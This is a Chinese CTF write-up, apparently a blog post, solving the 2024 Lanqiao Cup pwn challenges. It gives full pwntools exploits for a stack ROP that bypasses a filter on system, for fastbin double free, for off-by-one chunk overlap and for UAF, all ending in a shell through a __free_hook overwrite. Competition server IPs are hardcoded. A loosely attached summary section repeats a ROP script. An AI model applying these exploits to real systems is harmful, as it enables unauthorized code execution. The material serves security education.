2024蓝桥杯初赛决赛pwn题全解

初赛

第一题

在这里插入图片描述
有system函数,并且能在bss上读入字符

而且存在栈溢出,只要过掉check函数即可
check函数中,主要是对system常规获取权限的参数,进行了过滤,用$0即可

exp:

from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()

context(os='linux', arch='amd64', log_level='debug')
p = remote('', )
rl("restricted stack.\n")
pay=b'$0'
s(pay)

rl("...\n")
pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778)
s(pay)

sleep(0.5)
sl(b'exec 1>&0')


inter()

第二题

经典堆菜单题目
在这里插入图片描述
发现没有edit功能,考虑double free。版本为2.31 09.9

挨个分析
add函数,申请堆块部分
在这里插入图片描述
只能申请0x50大小的堆块,并且能读入0x50字节的大小内容

free部分,
free之后有置零,所以不存在uaf漏洞

在这里插入图片描述
show就是个正常打印
在这里插入图片描述

漏洞是在这个函数
在这里插入图片描述

在这里插入图片描述

没有置零关键部分,所以存在uaf漏洞,因为只能申请0x50大小的堆块,所以考虑使用fastbin的double free

具体思路:
先把tcachebin填满
之后利用后门函数free一个进fastbin,然后正常再free两个堆块(第二次free的是后门free的那一个)
以此构造出double free,然后把tcache bin全部申请回来,然后再申请一个fastbin的堆块,fastbin的其他堆块就会进入到tcache bin里,因为前面已经构造了double free,所以这次可以修改fd的末位,然后就能申请出来这个错位的堆块A,修改堆块的size,然后free进unsorted bin,之后申请一个小块B,泄露libc,然后free这个小块B,再free小块A(A需要提前伪造好size位)然后申请回来A,把B的fd改为free hook,然后打free hook为system即可

from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = remote('',)
libc = ELF('./libc.so.6')

def add(c):
	rl("4.exit\n")
	sl(str(1))
	sleep(0.2)
	s(c)

def free(i):
	rl("4.exit\n")
	sl(str(2))
	sleep(0.2)
	sl(str(i))

def show(i):
	rl("4.exit\n")
	sl(str(3))
	sleep(0.2)
	sl(str(i))

def free2(i):
	rl("4.exit\n")
	sl(str(0x202405))
	sleep(0.5)
	sl(str(i))

add(b'\x00'*0x38+p64(0x61))
add(b'\x00'*0x28+p64(0x61))
for i in range(12):
	add(b'a') #为伪造size做准备
for i in range(7):
	free(i+2)
free(9)
free(10)
free2(0)
free(1)
free(0)
for i in range(7):
	add(b'a')
add(b'\x30')
add(b'a')
add(b'a')
add(b'\x00'*0x28+p64(0x421)) #修改size位
free(6)
add(b'a')
show(6)
libc_base=get_addr()-0x1ecf61
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
li(hex(free_hook))
system,bin=get_sb()
free(11)
free(6)
free(10)
add(b'\x00'*0x28+p64(0x61)+p64(free_hook)) #修改fd位
add(b'/bin/sh\x00')
add(p64(system))
free(10)

inter()

哪里不明白,调试调试就行了

决赛

getting_started

比赛的时候,先看的这个题目,本地打通的了,远程打不通,这个随机值纯看脸,我脸黑,重开靶机10次左右,才打通,但是没血了

以时间为种子产生随机值
在这里插入图片描述

然后就是一个栈溢出
在这里插入图片描述

这个开启pie了,并且没法泄露东西,所以就正常输入随机值了
之后就是一个菜单题目
在这里插入图片描述
add函数,最大申请0x100的堆块
在这里插入图片描述

漏洞在edit里
在这里插入图片描述

在这里插入图片描述

这是先读入后判断,所以存在off by one,实际还有个null
思路就是利用off by one修改size,构造堆块重叠

利用思路
因为堆块限制的不强,所以直接free满tc,进入unsorted,之后再申请回来一部分,然后show出来libc
然后,off by one构造堆块重叠,利用重叠的堆块,修改fd,申请到free hook,然后打free hook为system

exp:

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr1():
    return u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('39.106.48.123', 22289)
elf = ELF('./pwn')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.31.so')

def add(idx,size):
	rl(":")
	sl(str(1))
	rl("Index: ")
	sl(str(idx))
	rl("Size ")
	sl(str(size))

def edit(idx,c):
	rl(":")
	sl(str(2))
	rl("Index: ")
	sl(str(idx))
	rl("Content: ")
	s(c)

def show(idx):
	rl(":")
	sl(str(3))
	rl("Index: ")
	sl(str(idx))

def free(idx):
	rl(":")
	sl(str(4))
	rl("Index: ")
	sl(str(idx))



libc = cdll.LoadLibrary('./libc-2.27.so')
seed =libc.time(0)
srand = libc.srand(seed)

a=[0,0,0,0,0,0,0,0,0,0]
for i in range(7):
	a[i]=int(str(libc.rand()% 80 + 32).encode())
rl("please login >>>>\n")
pay=p8(a[0])+p8(a[1])+p8(a[2])+p8(a[3])+p8(a[4])+p8(a[5])+p8(a[6])
sl(pay)


libc=ELF("./libc-2.27.so")

for i in range(10):
	add(i,0x90)
for i in range(7):
	free(i)

free(7)
show(7)
for i in range(7):
	add(i,0x90)
add(7,0x20)
show(7)
libc_base=get_addr()-0x3ebd30
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()
for i in range(11):
	add(i+10,0x68)

edit(17,b'a'*0x68+p8(0xe1))
free(18)
free(19)
add(18,0xd8)
edit(18,b'a'*0x68+p64(0x71)+p64(free_hook)+b'\n')
add(27,0x68)
edit(27,b'/bin/sh\x00\n')
add(28,0x68)
edit(28,p64(system)+b'\n')
free(27)


inter()

babyheap

同样也是4个功能
在这里插入图片描述

申请给限制到0-0x60
在这里插入图片描述

有个后门可以申请一个大堆块
在这里插入图片描述
free函数中存在uaf漏洞
在这里插入图片描述

这个题目和初赛的第二题有点像,这个题目更好布置堆块
也是通过double free,修改fd的末位,不过这个要小布置一下堆块,因为这个edit会在末位填上null,申请出来错位的堆块A,修改一下size,free进unsorted,然后show出libc,取出来这个堆块(A包含的堆块),free进tc里,通过A修改它的fd为free hook,然后打free hook为system

exp:

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = remote('8.147.132.99',23464)
elf = ELF('./pwn')
libc=ELF("./libc.so.6")

def add(idx,size):
	rl(">> \n")
	sl(str(1))
	rl("index: \n")
	sl(str(idx))
	rl("size: ")
	sl(str(size))
	
def free(idx):
	rl(">> \n")
	sl(str(2))
	rl("index: \n")
	sl(str(idx))

def edit(idx,c):
	rl(">> \n")
	sl(str(3))
	rl("index: \n")
	sl(str(idx))
	rl("contents: \n")
	s(c)

def show(idx):
	rl(">> \n")
	sl(str(4))
	rl("index: \n")
	sl(str(idx))
def add2(size):
	rl(">> \n")
	sl(str(555))
	rl("find me\n")
	sl(str(size))


add(0,0x60)
add(1,0x60)
add2(0x400)
add(2,0x60)

free(1)
free(0)
edit(0,b'\n')
add(3,0x60)
add(4,0x60)
edit(4,p64(0)+p64(0x481)+b'\n')
free(1)
show(1)
libc_base=get_addr()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()


add(5,0x60)
free(2)
free(5)
edit(4,p64(0)+p64(0x71)+p64(free_hook)+b'\n')
add(6,0x60)
edit(6,b'/bin/sh\x00\n')
add(7,0x60)
edit(7,p64(system)+b'\n')
free(6)

	
inter()
### 关于蓝桥杯竞赛中嵌入式PWN捕获技术细节 #### 捕获技术概述 在处理蓝桥杯中的嵌入式PWN目时,通常涉及对二进制文件漏洞的挖掘和利用。这类挑战主要集中在栈溢出、堆溢出以及格式化字符串等常见漏洞上[^1]。 #### 利用技巧实例分析 对于特定类型的攻击向量,如命令转义,在某些情况下可以通过精心构造输入来绕过程序的安全机制并执行任意指令。例如,在给定条件下通过发送特殊字符序列至目标进程实现系统调用`system('sh')`从而获得shell访问权限[^2]: ```python from pwn import* p = process('./pwn') pop_rdi = 0x400933 info = 0x601090 system = 0x400778 payload = b"cat flag 1>&2" print(len(payload)) payload = payload.ljust(0xe, b'\x00') p.sendafter(b'restricted stack.', payload) # 构造ROP链用于触发system函数读取flag文件内容 payload = b'a' * 0x28 + p64(pop_rdi) + p64(info) + p64(system) p.sendafter(b'...', payload) p.interactive() ``` 此代码片段展示了如何使用Python脚本配合pwntools库完成一次简单的Rop Chain构建过程,并最终实现了远程代码执行的效果。 #### 加载依赖项错误排除指南 当尝试导入必要的第三方包(比如`fcntl`)遇到困难时,这可能是由于环境配置不当引起的。为了确保能够顺利运行上述示例以及其他类似的exploit开发工作,建议先确认已安装所有必需软件包;如果仍然存在问,则可以考虑调整项目结构或虚拟环境中缺少的关键组件版本兼容性设置[^3]。 #### 处理Heap相关问的方法论探讨 针对更复杂的场景——特别是那些涉及到动态内存分配管理器内部运作原理的任务而言,掌握Glibc不同版本之间的差异至关重要。以双次释放(Double Free)为例说明:通过对对象生命周期的有效控制加上适当的信息泄露手段,便能成功推断出heap布局进而实施精确打击[^4]: ```python for i in range(3): alloc(b'a') for i in range(2, 0, -1): free(i) alloc(b'a') show(1) p.recvuntil(b'a') heapbase = (u64(p.recv(5).ljust(8, b'\x00')) << 8) - 0x300 ``` 这段代码旨在展示一种可能的方式去计算heap起始位置,这对于后续操作非常重要。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值